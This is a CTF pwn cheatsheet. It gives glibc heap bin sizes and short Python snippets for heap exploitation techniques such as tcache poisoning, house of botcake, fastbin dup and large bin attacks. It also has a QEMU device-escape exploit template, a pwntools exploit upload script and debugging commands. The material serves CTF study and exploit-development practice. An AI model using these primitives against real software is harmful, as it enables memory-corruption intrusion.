# PWN Cheatsheet [ToC] ## User Land ### Stack ### Heap | bin | 64x | 32x | | -------- | ---------- | ---------- | | tcache | 0x20~0x410 | 0x10~0x208 | | fast | 0x20~0x80 | 0x10~0x40 | | small | 0x20~0x3F0 | 0x10~0x1F8 | | large | 0x400~Inf | 0x200~Inf | ```txt No. of Bins Spacing between bins 64 bins of size 8 [ Small bins] 32 bins of size 64 [ Large bins] 16 bins of size 512 [ Large bins] 8 bins of size 4096 [ .. ] 4 bins of size 32768 2 bins of size 262144 1 bin of size what's left ``` 2 important variable: - `mp_.tcache_bins` (hijack to perform tcache attack) - `global_max_fast` (hijack to perform fastbin attack) Common Primitives: - Heap Overflow - Chunk Overlap / UAF - Off-by-One - Double Free #### tcache poisoning (> 2.25) UAF -> Arbitrary Alloc hjkack fd pointer <=2.31: require two chunks in corresponding tcache bin \>2.31: require two chunks in corresponding tcache bin require a heap leak ```python! fd = pack(target ^ (heap>>12)) ``` 0x56ffffeeee1000 0x56ffffeeee1xxx #### tcache house of spirit (> 2.25) Arbitrary Free -> Arbitrary Alloc Overflow -> Chunk Overlap / UAF free a fake chunk into tcache - no IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bit set - target chunk 16-byte aligned #### house of botcake (> 2.25) Double Free -> Chunk Overlap / UAF ```python! for i in range(7): add(0x100) add(0x100) # p1 add(0x100) # p2 add(0) for i in range(7): free(i) free(p1) free(p2) # trigger consolidate into unsorted bin add(0x100) # from tcache free(p2) # p2 into tcache ``` #### tcache stashing unlink (> 2.25) calloc UAF -> Arbitrary Alloc #### fastbin_dup Double Free -> UAF ```python! free(0) free(1) free(0) ``` #### fastbin_dup_consolidate Double Free -> UAF ```python! free(0) # fast malloc(0x400) # trigger malloc_consolidate free(0) # double free ``` #### fastbin_attack (fastbin_dup_into_stack) UAF -> Arbitrary Alloc hjkack fd pointer pwndbg command: `find_fake_fast` #### house of spirit Arbitrary Free -> Arbitrary Alloc free a fake chunk into fastbin - no IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits - resonable next chunk size - the address of the fake chunk must be 16-byte aligned #### unlink (unsafe_unlink) ```python! # *target = &fake_chunk fake_fd = target-0x18 fake_bk = target-0x10 ``` #### poison null byte construct chunk overlap <2.31: ```txt _______________overflow_______ | chunk0 | chunk1 > chunk2 | free(0) # into unsorted bin (require fd and bk to bypass unlink) free(2) ______________________________ | huge chunk in unsorted bin | | | chunk1 | | ``` #### unsorted bin attack (<2.29) UAF -> write &unsorted_bin to arbitrary address ```python! add(0x400) # 0 free(0) edit(0, pack(0)+pack(target-0x10)) # overwrite bk ``` #### large bin attack UAF -> write heap address to arbitrary address <2.30 (overwrite 2 target): 3 chunk P1, P2, P3 (and chunk to prevent consolidate) ```python! target1 = 0x0 target2 = 0x0 add(0x420) # p1 add(0) # p1.5 add(0x500) # p2 add(0) # p2.5 add(0x510) # p3 bigger than p2 add(0) # p3.5 free(p1) free(p2) add(0) # p1 split into unsorted bin, p2 into large bin free(p3) # p3 into unsorted bin # overflow or UAF into p2 edit(p2, flat([0, target1-0x10, 0, target2-0x20])) add(0) # p3 into largebin and trigger attack, new chunk split from p1 (thus prevent access to corrupted large bin) ``` #### house of storm < 2.29 UAF -> arbitrary chunk unsorted bin attack with largebin attack to valide the fake chunk: write 0x56 to fake_chunk's size field. (50% success rate) ```python! target = 0x0 add(0x410) # p1 add() add(0x420) # p2 add() # p1 to largebin, p2 to unsorted bin free(p1) free(p2) new(0x420) # p1 to largebin free(p2) fake_chunk = target-0x10 edit(p2, pack(0)+pack(fake_chunk)) # bk edit(p1, flat([0, fake_chunk+0x8, 0, fake_chunk-0x1d])) # bk & bk_nextsize new(0x40) # get target ``` #### house of orange (<2.26) (no free) Heap Overflow -> Shell unsorted bin attack with FSOP ### Qemu #### EXP Program ```clike! #include <unistd.h> #include <sys/io.h> #include <memory.h> #include <stdint.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <stdlib.h> #include <stdio.h> // lspci #define DEVICE_PATH "/sys/devices/pci0000:00/0000:00:04.0/resource0" unsigned char* mmio_mem; size_t pmio_base=0xc040; void die(char s) { putchar(s); exit(-1); } void open_mmio() { int mmio_fd = open(DEVICE_PATH, O_RDWR | O_SYNC); if (mmio_fd == -1) die('m'); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) die('f'); } void mmio_write(size_t addr, size_t value) { *((size_t*)(mmio_mem + addr)) = value; } size_t mmio_read(size_t addr) { return *((size_t*)(mmio_mem + addr)); } void open_pmio() { if (iopl(3) != 0 ) die('i'); } size_t pmio_write(size_t addr, size_t value) { outl(value,addr); } size_t pmio_read(size_t addr) { return (size_t)inl(addr); } void* mmap_new() { return mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); } int main(int argc, char *argv[]) { setbuf(stdin,0); setbuf(stdout,0); setbuf(stderr,0); // PWN return 0; } ``` Compileļ¼š`musl-gcc --static -o exp ./exp.c` #### Debug ```shell! # in docker file apt install gdbserver EXPORT 9999 # in container gdbserver 127.0.0.1:9999 --attach <qemu-pid> # in host gdb ./qemu-system (gdb) target remote 127.0.0.1:9999 ``` #### EXP Upload ```python! from pwn import * import os context.log_level = "debug" #p=process('./boot.sh') p=remote("127.0.0.1",9999) qemu_prompt = b"/ #" os.system("tar -czvf exp.tar.gz ./exp;base64 exp.tar.gz > b64_exp") p.recvuntil(qemu_prompt) p.sendline(b"echo '' > b64_exp;") with open("./b64_exp", "r") as f: while True: line = f.readline().replace("\n","") if len(line)<=0: break p.sendline(b"echo '" + line.encode() + b"' >> b64_exp;") p.recvuntil(qemu_prompt) p.sendline("base64 -d b64_exp > exp.tar.gz;tar -xzvf exp.tar.gz;chmod +x ./exp;") p.interactive() ``` ## Kernel land ## Misc ### Docker #### build and run from Dockerfile ```shell! docker build -t <tag> . docker run --name <name> -it <image> [bash] # attach to exist container docker exec -it <name/id> bash ```